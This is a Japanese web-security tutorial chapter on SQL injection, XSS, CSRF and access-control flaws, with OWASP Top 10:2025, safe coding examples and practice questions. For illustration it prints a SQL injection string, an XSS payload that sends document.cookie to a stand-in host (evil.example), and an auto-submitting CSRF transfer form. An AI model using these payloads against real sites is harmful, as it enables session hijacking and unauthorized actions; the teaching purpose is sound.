メインコンテンツまでスキップ

Web アプリの主要な攻撃と対策

攻撃手法を「XSS はこう防ぐ」と暗記すると、少し形が違う攻撃に対応できません。有効なのは成立条件から考えることです。

多くの攻撃は共通の構造を持っています。**信頼できない入力が、それを解釈する場所へそのまま届く。**この経路を切れば成立しません。

この章で学ぶこと

  • XSS・CSRF・SQL インジェクションそれぞれの成立条件と対策
  • エスケープとプレースホルダが何を分離しているか
  • CSRF 対策で SameSite だけに頼れない理由
  • 認可不備がなぜ今も最多なのか
前提知識

認証と認可 の区別を前提にします。SQL と HTML の基本的な読み方があると具体例が追いやすくなります。

この章で扱わないこと

フレームワークやライブラリでの具体的な実装は、既存のガイドが文脈ごとに扱います。

観点参照先
SPA でのトークン保管、CSP の設計React ガイド — SPA の認証
innerHTML の危険性JavaScript ガイド — DOM 操作
認証・認可の設計認証と認可

OWASP Top 10 という目安

どの攻撃を優先して対策すべきかの目安として、OWASP が公開している Top 10 があります。2025 年版の並びは次のとおりです。

IDカテゴリ
A01Broken Access Control (アクセス制御の不備)
A02Security Misconfiguration (設定の不備)
A03Software Supply Chain Failures (サプライチェーンの不備)
A04Cryptographic Failures (暗号化の不備)
A05Injection (インジェクション)
A06Insecure Design (安全でない設計)
A07Authentication Failures (認証の不備)
A08Software or Data Integrity Failures (完全性の不備)
A09Security Logging and Alerting Failures (ログと警告の不備)
A10Mishandling of Exceptional Conditions (例外処理の不備)

1 位がアクセス制御の不備である点は押さえておく価値があります。派手な攻撃手法よりも、「他人の ID を指定したら見えてしまった」という単純な作り込み漏れのほうが多いということです。

SQL インジェクション

成立条件

ユーザーの入力が、SQL 文の一部として解釈される位置に文字列連結で埋め込まれること。

// 危険な実装
const sql = `SELECT * FROM users WHERE email = '${email}'`;

email' OR '1'='1 を入れると、組み上がる SQL は次のようになります。

SELECT * FROM users WHERE email = '' OR '1'='1'

条件が常に真になり、全件が返ります。より悪い入力なら、テーブルの削除や別テーブルの読み出しまで可能です。

対策

プレースホルダ (プリペアドステートメント) を使います。

// 安全な実装
const rows = await db.query('SELECT * FROM users WHERE email = ?', [email]);

これが効く理由は、SQL の構造と値を別々にデータベースへ渡していることです。先に「この形の問い合わせをする」と構造を確定させ、あとから値を当てはめます。値の中に OR '1'='1 があっても、それは文字列としての値であって構文としては解釈されません。

「エスケープすればよい」という対策も語られますが、順序としては次のようになります。

対策評価
プレースホルダ**第一選択。**構造と値を分離する
入力値のエスケープ次善。エスケープ漏れと文字コードの罠がある
入力値のバリデーション併用する。ただし単独では不十分
テーブル名や列名を動的に組むプレースホルダが使えない。許可リストで限定する

テーブル名や ORDER BY の列名はプレースホルダで渡せません。この場合はあらかじめ許可する値の一覧を用意して、その中にあるかを照合します。ユーザーの入力をそのまま列名に使わない、が原則です。

O/R マッパーを使っていても、生の SQL を書く抜け道 (whereRaw のようなメソッド) は残っています。そこに変数を連結すれば同じ穴が開きます。

XSS (クロスサイトスクリプティング)

成立条件

ユーザーの入力が、HTML や JavaScript として解釈される位置にそのまま出力されること。

// 危険な実装
element.innerHTML = `<div>${userInput}</div>`;

userInput<img src=x onerror="fetch('https://evil.example/'+document.cookie)"> を入れると、閲覧者のブラウザでスクリプトが動きます。

被害はスクリプトができることすべてに及びます。

  • クッキーやトークンの窃取によるなりすまし
  • 画面の書き換えによる偽のログインフォーム表示
  • ユーザーの操作を装ったリクエストの送信

3 つの型

経路
蓄積型 (Stored)入力がサーバーに保存され、他のユーザーの画面で実行される
反射型 (Reflected)URL のパラメータがそのままページに出力される
DOM 型 (DOM-based)サーバーを経由せず、クライアント側の JavaScript が危険な代入をする

蓄積型は影響範囲が広く、掲示板やコメント欄が典型です。

対策

出力する文脈に応じたエスケープが基本です。ここで重要なのは、文脈ごとに必要なエスケープが違うことです。

出力先エスケープすべきもの
HTML のテキスト部分< > & " '
HTML の属性値上記に加えて引用符の扱い
JavaScript の文字列リテラルHTML とは別の規則
URL のパラメータパーセントエンコーディング
CSS の値CSS の規則

自前でエスケープ関数を書くのは避けます。フレームワークのテンプレートエンジンは既定でエスケープするものがほとんどなので、それを無効化しない運用が現実的な対策です。

// React はテキストとして埋め込むので既定で安全
<div>{userInput}</div>

// これは明示的にエスケープを外す。名前のとおり危険
<div dangerouslySetInnerHTML={{__html: userInput}} />

補助的な対策として CSP (Content Security Policy) があります。実行を許可するスクリプトの出所をヘッダーで宣言し、インラインスクリプトや外部ドメインからの読み込みを制限します。エスケープ漏れが起きたときの被害を抑える二重の防御です。

トークンを localStorage に置くと、XSS が起きたときに JavaScript から読み出されます。HttpOnly 属性を付けたクッキーなら JavaScript からは読めません。XSS を前提にした被害の限定という観点で保管場所を選びます。保管場所ごとの比較は React ガイド — SPA の認証 が詳しく扱っています。

CSRF (クロスサイトリクエストフォージェリ)

成立条件

ログイン済みのブラウザが、意図しないリクエストを自動で送ってしまうこと。

クッキーは「そのドメインへのリクエストに自動で付く」という性質を持ちます。攻撃者のサイトに次のようなフォームがあり、ログイン済みのユーザーがそれを踏むと、本人の資格情報付きでリクエストが飛びます。

<!-- 攻撃者のサイト。閲覧しただけで送信される -->
<form action="https://bank.example/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="100000">
</form>
<script>document.forms[0].submit()</script>

XSS との違いは、攻撃者はレスポンスを読めないことです。読めないので情報は盗めませんが、状態を変える操作は実行できます

対策

OWASP が示す優先順位は次のとおりです。

優先度対策仕組み
1同期トークンパターンサーバーが予測不能なトークンを発行し、リクエストに含まれるかを照合する
2署名付き二重送信クッキーサーバー側に状態を持てない場合の代替。HMAC でセッションに紐づける
3カスタムリクエストヘッダー独自ヘッダーは同一オリジンポリシーの対象になるので、API 向けに有効
4SameSite 属性他サイトからのリクエストにクッキーを付けない

要点は 4 番目の位置づけです。OWASP は SameSite 単独では多くの環境で不十分だとしています。多層防御の 1 層として扱い、CSRF トークンや二重送信パターンと併用すべきという立場です。単独で足りるのは、登録可能ドメインを共有していない・状態を変える GET が無い・Strict を使っている、といった条件がすべて揃う場合に限られます。

もう 1 つ重要な指摘があります。**XSS はすべての CSRF 対策を無効化します。**スクリプトが動けばトークンを読み出して正規のリクエストを組み立てられるからです。CSRF 対策は XSS 対策の上に成り立ちます。

その他の主要な攻撃

攻撃成立条件対策
認可不備 (IDOR)URL やパラメータの ID を書き換えると他人のリソースが見えるサーバー側で所有者と操作者の一致を確認する
パストラバーサルファイルパスに ../ を含む入力が渡るパスを正規化して基準ディレクトリ配下か検証する
オープンリダイレクト遷移先 URL を外部から指定できる許可リストで遷移先を限定する
SSRFサーバーが任意の URL へリクエストする宛先を許可リストで限定し、内部ネットワークを弾く
安全でないデシリアライズ信頼できないデータをオブジェクトへ復元する署名を検証する。JSON など安全な形式を使う

並べると共通の型が見えます。**信頼できない入力が、それを解釈する場所へ検証なしで届いている。**対策も共通で、**その経路のどこかで「値としてしか扱わない」か「許可した値だけ通す」**のどちらかを入れます。

記述で答えるときの骨子

「注意すべき攻撃手法を 3 つ挙げて対策を説明してください」と問われたときの組み立て方です。

各攻撃について3 点セットで書くと、暗記ではなく理解として伝わります。

  1. 何が起きるか — 攻撃者は何をして、何を得るか
  2. なぜ成立するか — どういう作りだと通ってしまうか
  3. 対策と、それが効く理由 — 成立条件のどこを崩しているか

3 番目の「効く理由」が入っているかが分かれ目です。「プレースホルダを使う」だけだと暗記に見えますが、「SQL の構造と値を分けて渡すので、値の中身が構文として解釈されない」まで書くと理解が伝わります。

選ぶ 3 つは XSS・CSRF・SQL インジェクションが無難です。性質が異なる 3 つを選べるとなお良く、たとえば「入力が SQL として解釈される (SQLi)」「入力が HTML として解釈される (XSS)」「意図しないリクエストが送られる (CSRF)」のように、成立の仕組みが重ならない組み合わせにします。

余裕があれば、OWASP Top 10 の 1 位がアクセス制御の不備であることに触れて、派手な攻撃より単純な作り込み漏れのほうが多いという現実を添えると、優先順位の理解まで示せます。

よくある誤解

「入力値をバリデーションすれば SQL インジェクションは防げる」 — バリデーションは併用すべきですが単独では不十分です。第一選択はプレースホルダで、構造と値を分離することです。

「エスケープすれば XSS は防げる」 — 出力先の文脈ごとに必要なエスケープが違います。HTML 用のエスケープを JavaScript 文字列に当てても防げません。フレームワークの既定のエスケープを無効化しないのが実務的です。

SameSite=Lax を付ければ CSRF 対策は完了」 — OWASP は単独では不十分としています。CSRF トークンなどと組み合わせる多層防御が前提です。

「CSRF は情報を盗まれる攻撃」 — 攻撃者はレスポンスを読めません。盗むのではなく、状態を変える操作をさせる攻撃です。

「XSS 対策と CSRF 対策は独立している」 — XSS が成立するとすべての CSRF 対策が無効化されます。CSRF 対策は XSS 対策の上に成り立ちます。

確認問題

問 1. 次のコードにある脆弱性は何ですか。対策も答えてください。
app.get('/search', async (req, res) => {
const keyword = req.query.q as string;
const rows = await db.query(
`SELECT * FROM articles WHERE title LIKE '%${keyword}%'`
);
res.send(`<h1>「${keyword}」の検索結果</h1>` + renderRows(rows));
});

答え: SQL インジェクションと XSS (反射型) の 2 つ

1. SQL インジェクションkeyword を SQL に文字列連結しています。' OR '1'='1 のような入力で条件を書き換えられます。

// 対策: プレースホルダで構造と値を分離する
const rows = await db.query(
'SELECT * FROM articles WHERE title LIKE ?',
[`%${keyword}%`]
);

% を値の側で組み立てている点に注意してください。プレースホルダに渡すのは完成した検索文字列です。

2. 反射型 XSSkeyword を HTML にそのまま埋め込んでいます。<script>...</script> を含む URL を踏ませると実行されます。

// 対策: HTML としてエスケープしてから出力する
res.send(`<h1>「${escapeHtml(keyword)}」の検索結果</h1>` + renderRows(rows));

テンプレートエンジンを使っているなら、既定のエスケープに任せるのが確実です。

1 つの変数が 2 つの異なる解釈器 (SQL と HTML) に届いているのがこのコードの問題です。それぞれの入り口で対策が要ります。

問 2. CSRF 対策として SameSite=Strict を設定しました。これで十分ですか。

答え: 十分ではありません。多層防御の 1 層として扱います。

OWASP は SameSite を単独で頼らず、CSRF トークンや二重送信パターンと併用すべきだとしています。単独で足りるのは次の条件がすべて揃う場合に限られます。

  • 登録可能ドメインを他のサービスと共有していない (サブドメインからの攻撃経路が無い)
  • 状態を変える GET リクエストが存在しない
  • Strict モードを使っている
  • オリジンの検証も入っている
  • 未対応のブラウザを切り捨ててよい

加えて Strict は利用体験を損ないます。外部サイトのリンクから来たユーザーはクッキーが送られないので、ログイン済みなのに未ログイン扱いになります。

現実的な構成は「SameSite=Lax + CSRF トークン」です。SameSite で大半を弾き、抜けたものをトークンで止めます。

問 3. 注文詳細 API GET /api/orders/:id があります。ログイン必須にしてありますが、他に確認すべきことはありますか。

答え: その注文が「リクエストしたユーザーのものか」をサーバー側で確認する必要があります。

ログイン必須にしただけでは認証しか済んでいません。ログイン済みのユーザーが :id を書き換えれば、他人の注文が見えてしまいます。これが OWASP Top 10:2025 で 1 位の Broken Access Control にあたる典型例です。

// 不十分 ー 認証だけ
const order = await orderRepo.findById(id);

// 必要 ー 所有者の一致まで確認する
const order = await orderRepo.findById(id);
if (order.userId !== req.user.id) {
return res.status(404).end(); // 存在を隠すなら 404、隠さないなら 403
}

返すコードは設計判断です。403 は「あなたには見せられない」と伝わりますが、その ID の注文が存在する事実を漏らします。404 なら存在自体を隠せます。

画面側で他人の注文へのリンクを出していないことは対策になりません。URL は直接入力できます。

まとめ

  • 多くの攻撃は「信頼できない入力が、それを解釈する場所へそのまま届く」という共通の構造を持ちます
  • SQL インジェクションの第一選択はプレースホルダです。SQL の構造と値を分けて渡すので、値が構文として解釈されません
  • XSS は出力先の文脈ごとにエスケープが違います。フレームワークの既定のエスケープを無効化しないのが実務的です。CSP は被害を抑える二重の防御です
  • CSRF は情報を盗む攻撃ではなく、状態を変える操作をさせる攻撃です。SameSite 単独では不十分で、CSRF トークンと組み合わせます
  • XSS が成立するとすべての CSRF 対策が無効化されます
  • OWASP Top 10:2025 の 1 位はアクセス制御の不備です。ID を書き換えると他人のデータが見える、という単純な漏れが今も最多です
  • プレースホルダが使えない箇所 (テーブル名、列名、遷移先 URL) は許可リストで限定します
関連リファレンス

次に読む